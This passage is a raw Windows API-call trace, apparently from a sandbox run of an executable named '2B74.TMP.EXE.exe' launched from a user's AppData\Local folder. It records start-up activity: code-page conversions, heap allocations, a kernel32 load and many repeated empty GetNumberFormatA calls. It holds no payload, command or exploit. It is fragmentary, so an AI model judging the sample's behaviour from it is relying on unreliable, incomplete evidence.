!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿô\x8fÏöèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0093.724] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.724] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.725] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.725] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0093.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿô\x8fÏöèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x80) returned 0x35c2bf0 [0093.725] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c2bc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe")) returned 0x61 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xe8) returned 0x35c64d0 [0093.725] RtlInitializeSListHead (in: ListHead=0x4c2ad8 | out: ListHead=0x4c2ad8) [0093.725] GetLastError () returned 0x0 [0093.725] SetLastError (dwErrCode=0x0) [0093.725] GetEnvironmentStringsW () returned 0x35c65c0* [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xb02) returned 0x35c70d0 [0093.725] FreeEnvironmentStringsW (penv=0x35c65c0) returned 1 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x9c) returned 0x35c7be0 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3e) returned 0x35c2c78 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x6c) returned 0x35c7c88 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x6e) returned 0x35c7d00 [0093.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x78) returned 0x35c2df0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x62) returned 0x35c7d78 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35c7de8 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x48) returned 0x35c7e20 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x28) returned 0x35c7e70 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1a) returned 0x35c6198 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x4a) returned 0x35c7ea0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x72) returned 0x35c2e70 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35c7ef8 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35c7f30 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1c) returned 0x35c61c0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xd2) returned 0x35c65c0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x7c) returned 0x35c66a0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x36) returned 0x35c7f68 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3a) returned 0x35c6728 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x90) returned 0x35c6770 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35c7fa8 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35c6808 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x36) returned 0x35c6840 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x48) returned 0x35c6880 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x52) returned 0x35c68d0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3c) returned 0x35c6930 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x82) returned 0x35c6978 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35c6a08 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x28) returned 0x35c6a40 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1e) returned 0x35c61e8 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2c) returned 0x35c6a70 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x54) returned 0x35c6aa8 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x52) returned 0x35c6b08 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2a) returned 0x35c6b68 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3c) returned 0x35c7ff0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x54) returned 0x35c6ba0 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35c6c00 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35c6c30 [0093.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x8c) returned 0x35c6c68 [0093.727] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35c70d0 | out: hHeap=0x35b0000) returned 1 [0093.727] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x800) returned 0x35c6d00 [0093.727] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.727] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49a8b9) returned 0x0 [0093.727] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0093.728] lstrcatW (in: lpString1="", lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0093.728] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76690000 [0093.735] lstrlenA (lpString="") returned 0 [0093.736] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.942] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.943] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 